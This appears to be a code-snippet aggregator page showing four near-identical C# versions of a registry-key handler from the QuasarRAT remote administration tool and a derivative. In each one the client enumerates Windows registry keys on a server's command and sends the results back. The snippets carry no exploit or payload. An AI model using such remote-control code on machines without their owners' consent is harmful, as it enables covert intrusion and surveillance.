コード例 #1
0
ファイル: RegistryHandler.cs プロジェクト: hmitev/QuasarRAT
        public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
        {
            try
            {
                seeker = new RegistrySeeker();

                xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();

                seeker.SearchComplete += (object o, SearchCompletedEventArgs e) =>
                {
                    responsePacket.Matches = e.Matches.ToArray();
                    responsePacket.RootKey = packet.RootKeyName;

                    responsePacket.Execute(client);
                };

                // If the search parameters of the packet is null, the server is requesting to obtain the root keys.
                if (packet.RootKeyName == null)
                {
                    seeker.Start(new RegistrySeekerParams(null));
                }
                else
                {
                    seeker.Start(packet.RootKeyName);
                }
            }
            catch
            { }
        }
コード例 #2
0
        public static void HandleGetRegistryKey(xLightClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
        {
            xLightClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();
            try
            {
                RegistrySeeker seeker = new RegistrySeeker();
                seeker.BeginSeeking(packet.RootKeyName);

                responsePacket.Matches = seeker.Matches;
                responsePacket.IsError = false;
            }
            catch (Exception e)
            {
                responsePacket.IsError  = true;
                responsePacket.ErrorMsg = e.Message;
            }
            responsePacket.RootKey = packet.RootKeyName;
            responsePacket.Execute(client);
        }
コード例 #3
0
        public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
        {
            xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();
            try
            {
                RegistrySeeker seeker = new RegistrySeeker();
                seeker.BeginSeeking(packet.RootKeyName);

                responsePacket.Matches = seeker.Matches;
                responsePacket.IsError = false;
            }
            catch (Exception e)
            {
                responsePacket.IsError = true;
                responsePacket.ErrorMsg = e.Message;
            }
            responsePacket.RootKey = packet.RootKeyName;
            responsePacket.Execute(client);
        }
コード例 #4
0
ファイル: RegistryHandler.cs プロジェクト: hmitev/QuasarRAT
        public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
        {
            try
            {

                seeker = new RegistrySeeker();

                xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse();

                seeker.SearchComplete += (object o, SearchCompletedEventArgs e) =>
                {
                    responsePacket.Matches = e.Matches.ToArray();
                    responsePacket.RootKey = packet.RootKeyName;

                    responsePacket.Execute(client);
                };

                // If the search parameters of the packet is null, the server is requesting to obtain the root keys.
                if (packet.RootKeyName == null)
                {
                    seeker.Start(new RegistrySeekerParams(null));
                }
                else
                {
                    seeker.Start(packet.RootKeyName);
                }
            }
            catch
            { }
        }